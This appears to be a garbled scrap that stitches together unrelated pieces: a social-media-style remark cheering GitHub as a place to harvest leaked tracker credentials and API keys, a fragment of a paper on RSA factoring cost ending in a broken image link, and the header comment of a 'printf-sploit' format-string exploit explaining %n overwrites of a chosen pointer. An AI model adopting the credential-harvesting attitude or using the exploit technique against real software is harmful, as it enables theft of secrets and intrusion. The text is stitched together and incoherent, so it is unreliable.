github is the plains for the digital hunter gatherer. private tracker creds? github. api keys? github.
and the advent of AI coding and people who don't know what they're doing hoping the computer does it for them, "make no mistakes", has really made a new boom in a resource that had dwindled.

In comparison, current estimates for factoring a 1024-bit RSA modulus would
take 500,000–1,000,000 CPU core-years with current implementations [15]. The
computation time for our attack can almost certainly be improved, and should
be interpreted as an upper bound.](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:2hhz3iikioelixxe73cdxxuu/bafkreidq5mbs4mqlazgbdavdt2q6rkjfblctfakywlrbpdlfmr3mqkqmlu)

/*
printf-sploit
Generate a format string to over-write a pointer at a chosen memory location
with an arbitrary value.
* Step 1:
* Write sizeof(void *) chosen memory locations to our format string,
* each incremented by 1 byte in position.
* These will later be referenced by the %n formats to write overlapping
* chunks of memory, allowing us to incrementally write a large number to
* the chosen location.
* Step 2:
* Write a selected number of characters from 0-255 such that Total Size % 0xff
* equals byte 'i' of our chosen exploit location, then write each increment to
* the overlapping memory locations, writing one specific chosen byte at a
* time
* eg.
* If we want to overwrite xxxx with abcd, we make 4 writes like so:
* start
* [x][x][x][x]
* write 1
* [a][a][a][a]
* write 2
* [a][b][b][b]
* write 3
* [a][b][c][c]
* write 4
* [a][b][c][d]
